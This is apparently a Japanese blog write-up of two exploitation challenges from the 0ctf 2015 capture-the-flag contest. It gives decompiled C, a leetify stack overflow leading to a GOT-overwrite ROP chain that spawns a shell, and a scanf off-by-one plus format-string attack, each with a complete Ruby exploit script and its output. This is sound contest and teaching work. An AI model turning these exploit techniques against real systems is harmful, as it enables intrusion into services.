0ctf 2015 write up
0ctf 2015に参加しました。
580ptの83位でした(´∀`)
r0opsとfreenoteに時間を取られたのが勿体なかった(´・ω・`)
サービス問題以外で解けた2問のwrite upを置いておきますー。
FlagGenerator(Exploit:250)
フラグ生成用の文字列加工サービス。
== 0ops Flag Generator == 1. Input Flag 2. Uppercase 3. Lowercase 4. Leetify 5. Add Prefix 6. Output Flag 7. Exit =========================
まずは下調べ。
sss@sss-virtual-machine:~/ctf/others$ file flagen flagen: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=f8fa84729b36505a2a87b21e99da0c1c814ca2c2, stripped sss@sss-virtual-machine:~/ctf/others$ ../tools/checksec.sh --file flagen RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH flagen
一部をCに直すとこんな感じ。
void setup(){ setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); alarm(60); return; } int read_str(char *buffer, int length){ int i; //ebp-0x10 int var_c; //ebp-0xc if(length <= 0){ return 0; } for(i = 0; i < length - 1; i++){ var_c = read(0, &buffer[i], 1); if(var_c <= 0 || buffer[i] == '\n'){ break; } } buffer[i] = '\0'; return i; } char *read_flag(int length){ char *ptr; //ebp-0xc ptr = malloc(length); read_str(ptr, length); return ptr; } int read_int(){ char buf[32]; //ebp-0x2c int canary; //ebp-0xc read_str(buf, 32); return atoi(buf); } void uppercase(char *str){ char *var_110; //ebp-0x110 char buffer[256]; //ebp-0x10c int canary; //ebp-0xc strcpy(buffer, str); var_110 = buffer; while(*var_110 != '\0'){ if('a' <= *var_110 && *var_110 <= 'z'){ *var_110 &= 0xdf; } var_110++; } strcpy(str, buffer); return; } void leetify(char *str){ char *var_114; //ebp-0x114 char *var_110; //ebp-0x110 char leet_str[256]; //ebp-0x10c int canary; //ebp-0xc var_114 = leet_str; var_110 = str; while(*var_110 != '\0'){ switch(*var_110){ case 'a': case 'A': *(var_114++) = '4'; break; case 'b': case 'B': *(var_114++) = '8'; break; case 'e': case 'E': *(var_114++) = '3'; break; case 'h': case 'H' *(var_114++) = '1'; *(var_114++) = '-'; *(var_114++) = '1'; break; case 'i': case 'I': *(var_114++) = '!'; break; case 'l': case 'L': *(var_114++) = '1'; break; case 'o': case 'O': *(var_114++) = '0'; break; case 's': case 'S': *(var_114++) = '8'; break; case 't': case 'T': *(var_114++) = '7'; break; case 'z': case 'Z': *(var_114++) = '2'; break; default: *(var_114++) = *var_110; break; } var_110++; } *var_114 = '\0'; strcpy(str, leet_str); return; } void add_prefix(char *str){ char buffer[256]; //ebp-0x10c int canary; //ebp-0xc snprintf(buffer, 255, "0ctf{%s", str); buffer[strlen(buffer)] = '}'; strcpy(str, buffer); return; } int main(){ char *ptr_flag; int selection; setup(); ptr_flag = NULL; while(1){ selection = ShowMenu(); switch(selection){ case 1: if(ptr_flag != NULL){ free(ptr_flag); } ptr_flag = read_flag(256); puts("Done."); break; case 2: if(ptr_flag != NULL){ uppercase(ptr_flag); } puts("Done."); break; case 3: if(ptr_flag != NULL){ lowercase(ptr_flag); } puts("Done."); break; case 4: if(ptr_flag != NULL){ leetify(ptr_flag); } puts("Done."); break; case 5: if(ptr_flag != NULL){ add_prefix(ptr_flag); } puts("Done."); break; case 6: if(ptr_flag == NULL){ puts("You have to input flag first!"); }else{ printf("The flag is %s\n", ptr_flag); free(ptr_flag); ptr_flag = NULL; puts("Done."); } case 7: puts("Bye"); return 0; default: puts("Invalid!"); break; } } }
leetify
では特定のアルファベットを別の文字に置換する処理をしており、
基本的には1文字 対 1文字の置換になっているが、hの場合のみ1文字 対 3文字の置換になっている。
従って、leetify
後の文字列の長さは文字列の元々の長さ + 文字列内のhの個数 * 2
になるわけだが、
作業領域(leet_str
)のサイズがそのことを考慮したサイズになっていないので、
長い文字列にhを含めることでバッファオーバフローを起こせる。
例:"H"*4+"A"*250を入力した場合 == 0ops Flag Generator == 1. Input Flag 2. Uppercase 3. Lowercase 4. Leetify 5. Add Prefix 6. Output Flag 7. Exit ========================= Your choice: 1 HHHHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Done. == 0ops Flag Generator == 1. Input Flag 2. Uppercase 3. Lowercase 4. Leetify 5. Add Prefix 6. Output Flag 7. Exit ========================= Your choice: 4 *** stack smashing detected ***: flagen terminated ←バッファオーバフローが起きた
leetify
の最後にあるstrcpy
はleetify
の引数をそのまま使っているため、
スタックを破壊すればこのstrcpy
を自由にコントロールできる。
そして、このstrcpy
で__stack_chk_fail
のGOT overwriteをすればスタックカナリアは無効化できる。
ということで、
- スタックカナリアは
strcpy
時に__stack_chk_fail
のGOT overwriteをすることで無効化 - 以下のROPを組む
puts(0x0804b00c); //leak read@got.plt read_str(0x0804b01c, 0x01010101); //overwrite __stack_chk_fail@got.plt to system read_str(0x0804b001, 0x01010101); //read "/bin/sh" to 0x0804b001 system(0x0804b001); //run shell
という方針で攻略した。
#coding:ascii-8bit #flagen.rb require_relative "../pwnlib" PwnTube.open("202.112.26.106", 5149){|tube| tube.wait_time = 1 sleep(2) gadget_ret = 0x0804873d gadget_pop1 = 0x08048481 gadget_pop2 = 0x08048d8e got_stack_chk_fail = 0x0804b01c got_read = 0x0804b00c puts_address = 0x08048510 read_str_address = 0x080486cb bin_sh_address = 0x0804b001 stack_chk_fail_address = 0x080484e0 puts "[*] input flag" tube.send("1\n") payload = "" stack = "" stack << [gadget_pop1].pack("L") #return address from leetify stack << [got_stack_chk_fail].pack("L") #overwrite leetify's arg1 stack << [puts_address].pack("L") #return address from gadget_pop1 stack << [gadget_pop1].pack("L") #return address from puts stack << [got_read].pack("L") #puts's arg1 stack << [read_str_address].pack("L") #return address from gadget_pop1 stack << [gadget_pop2].pack("L") #return address from read_str stack << [got_stack_chk_fail, 0x01010101].pack("L*") #read_str's arg1, arg2 stack << [read_str_address].pack("L") #return address from gadget_pop2 stack << [gadget_pop2].pack("L") #return address from read_str stack << [bin_sh_address, 0x01010101].pack("L*") #read_str's arg1, arg2 stack << [stack_chk_fail_address].pack("L") #return address from gadget_pop2(system) stack << [0xdeadbeef].pack("L") #dummy stack << [bin_sh_address].pack("L") #system's arg1 payload << [gadget_ret].pack("L") payload << "H" * ((stack.length + 2 + 16) / 2) payload << "A" * (254 - payload.length - stack.length) payload << stack tube.send(payload + "\n") puts "[*] leetify(trigger ROP)" tube.recv tube.send("4\n") puts "[*] get libc base" libc_read = tube.recv[0...4].unpack("L")[0] libc_base = libc_read - 0xdabd0 printf("libc base = 0x%08x\n", libc_base) puts "[*] overwrite got" payload = "" payload << [libc_base + 0x40190].pack("L") tube.send(payload + "\n") puts "[*] send \"/bin/sh\"" tube.send("/bin/sh\n") tube.interactive }
$ ruby flagen.rb [*] input flag [*] leetify(trigger ROP) [*] get libc base libc base = 0xf758c000 [*] overwrite got [*] send "/bin/sh" [*] interactive mode id uid=1001(flagen) gid=1001(flagen) groups=1001(flagen) (フラグの場所探しは省略) cat /home/flagen/flag 0ctf{delicious_stack_cookie_generates_flag} exit [*] end interactive mode
FLAG:0ctf{delicious_stack_cookie_generates_flag}
Login(Exploit:300)
謎のログインシステム。
Login: guest Password: guest123 == 0CTF Login System == 1. Show Profile 2. Login as User 3. Logout =======================
下調べ。
sss@sss-virtual-machine:~/ctf/others$ file login login: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=aaf466b83156cb16970b254de9d45994bef6e9f9, stripped sss@sss-virtual-machine:~/ctf/others$ ../tools/checksec.sh --file login RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH login
なぜかchecksec.shで出てきていないが、PIEも有効。
Cに直すとこんな感じ。
typedef struct{ char username[256]; //base+0x0 int isGuest; //base+0x100 } Account; Account account; //0x202040 void setup(){ //0xd8b setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); alarm(60); } int read_str(char *_buffer, int _length){ //0xcb5 int length = _length; //rbp-0x1c char *buffer = _buffer; //rbp-0x18 int i; //rbp-0x8 int var_4; //rbp-0x4 if(length <= 0){ return 0; } for(i = 0; i < length - 1; i++){ var_4 = read(0, &buffer[i], 1); if(var_4 <= 0 || buffer[i] == '\n'){ break; } } buffer[i] = '\0'; return i; } int read_int(){ //0xd3a char buffer[]; //rbp-0x20 long canary; //rbp-0x8 scanf("%10s", buffer); return atoi(buffer); } void login(){ //0xe3a char username[]; //rbp-0x80 char password[]; //rbp-0x40 long canary; //rbp-0x8 printf("Login: "); scanf("%32s", username); printf("Password: "); scanf("%32s", password); if(strcmp(username, "guest") != 0 || strcmp(password, "guest123") != 0){ puts("Invalid username or password."); exit(0); } strcpy(account.username, username); account.isGuest = 1; return; } int show_menu(){ //0xddd puts("== 0CTF Login System =="); puts("1. Show Profile"); puts("2. Login as User"); puts("3. Logout"); puts("======================="); printf("Your choice: "); return read_int(); } void show_profile(){ //0xf24 printf("Username: %s\n", account.username); printf("Level: %s\n", account.isGuest ? "Guest" : "Normal User"); return; } void login_as_user(){ //0xf7a puts("Enter your new username:"); scanf("%256s", account.username); //最後のnull文字は256のうちに入らない puts("Done."); return; } void print_flag(){ //0xfb3 int fd; //rbp-0x118 int var_114; //rbp-0x114 char buffer[]; //rbp-0x110 long canary; //rbp-0x8 fd = open("flag", 0); var_114 = read(fd, buffer, 256); if(var_114 > 0){ write(1, buffer, var_114); } exit(0); } void login_as_root(){ //0x103b char md5[16]; //rbp-0x220 char username[]; //rbp-0x210 char password[]; //rbp-0x110 long canary; //rbp-0x8 printf("Login: "); read_str(username, 256); printf("Password: "); read_str(password, 256); MD5(password, strlen(password), md5); if(strcmp(username, "root") == 0 && memcmp(md5, "0ops{secret_MD5}", 16) == 0){ print_flag(); return; } printf(username); puts(" login failed."); puts("1 chance remaining."); printf("Login :"); read_str(username, 256); printf("Password: "); read_str(password, 256); MD5(password, strlen(password), md5); if(strcmp(username, "root") == 0 && memcmp(md5, "0ops{secret_MD5}", 16) == 0){ print_flag(); return; } printf(username); puts(" login failed."); puts("Threat detected. System shutdown."); exit(1); } int main(){ int selectiion; //rbp-0x4 setup(); login(); while(1){ selection = show_menu(); switch(selection){ case 1: show_profile(); break; case 2: login_as_user(); break; case 3: puts("Bye"); return 0; case 4: if(account.isGuest){ puts("Invalid!"); }else{ login_as_root(); } break; default: puts("Invalid!"); break; } } }
- 最初のログイン認証は
guest/guest123
でOK show_menu
で表示される選択肢は1~3だが、隠し選択肢として4も選べる
このとき、Normal Userになっていればlogin_as_root
が呼ばれるlogin_as_root
内でのログイン認証でrootでログインできればprint_flag
でフラグが出力される
……が、MD5値的にrootで認証させる気はゼロ
まず、account.isGuest
が0になっていないとlogin_as_root
を呼び出せないので、これを0にする方法を考える。
これは簡単。
login_as_user
内のscanf
の書式文字列が"%256s"
になっているので、
ここで256文字入力すればaccount.isGuest
の下位1バイト目がscanf
の最後のNULLバイトで上書きされる。
Login: guest Password: guest123 == 0CTF Login System == 1. Show Profile 2. Login as User 3. Logout ======================= Your choice: 1 Username: guest Level: Guest == 0CTF Login System == 1. Show Profile 2. Login as User 3. Logout ======================= Your choice: 2 Enter your new username: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Done. == 0CTF Login System == 1. Show Profile 2. Login as User 3. Logout ======================= Your choice: 1 Username: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Level: Normal User ←account.isGuestが0になっている
次に、login_as_root
内でフラグを出力させる方法を考える。
コードを見てみるとprintf(username);
が2回あるので、format string attackが2回できる。
%74$p
でlogin_as_root
のsaved ebpリーク%75$p
で本体のベースアドレスリーク%8$p
でusernameの先頭にアクセスできる%40$p
でpasswordの先頭にアクセスできる
Full RELROなのでGOT overwriteはできないが、
login_as_root
のsaved ebpから逆算すれば、login_as_root
内の関数呼び出しからのリターンアドレスの場所が分かる。
ということで、
- 1回目の
printf
でlogin_as_root
のsaved ebpと本体のベースアドレスをリークさせる - 2回目の
printf
でprintf
からのリターンアドレスをprint_flag
のアドレスに書き換える
という方針で攻略した。
#coding:ascii-8bit #login.rb require_relative "../pwnlib" def build_format_string(base, data, index) current = base.length result = "" data.bytes.each{|b| if current != b result << "%#{(b - current + 256) % 256}c" current = b end result << "%#{index}$hhn" index += 1 } return result end PwnTube.open("202.112.26.107", 10910){|tube| tube.wait_time = 0.5 sleep(1) puts "[*] login" tube.send("guest\n") tube.send("guest123\n") puts "[*] login as user" tube.send("2\n") tube.send("A" * 256 + "\n") puts "[*] enter to secret menu" tube.send("4\n") tube.recv puts "[*] leak addresses" tube.send("%74$p %75$p\n") tube.send("a\n") saved_ebp, base_address = tube.recv.scan(/0x[0-9a-f]+/).map{|a| a.to_i(16)} base_address -= 0x12d3 printf("saved ebp = %016x\n", saved_ebp) printf("base address = %016x\n", base_address) printf_saved_eip = saved_ebp - 0x240 - 8 puts "[*] overwrite saved eip" payload = build_format_string("", [base_address + 0xfb3].pack("Q"), 40) tube.send(payload + "\n") payload = (printf_saved_eip...printf_saved_eip+8).to_a.pack("Q*") tube.send(payload + "\n") puts tube.recv.match(/0ctf{.+?}/).to_s }
$ ruby login.rb [*] connected [*] login [*] login as user [*] enter to secret menu [*] leak addresses saved ebp = 00007fffa7214660 base address = 00007f2ab17a5000 [*] overwrite saved eip 0ctf{login_success_and_welcome_back}
FLAG:0ctf{login_success_and_welcome_back}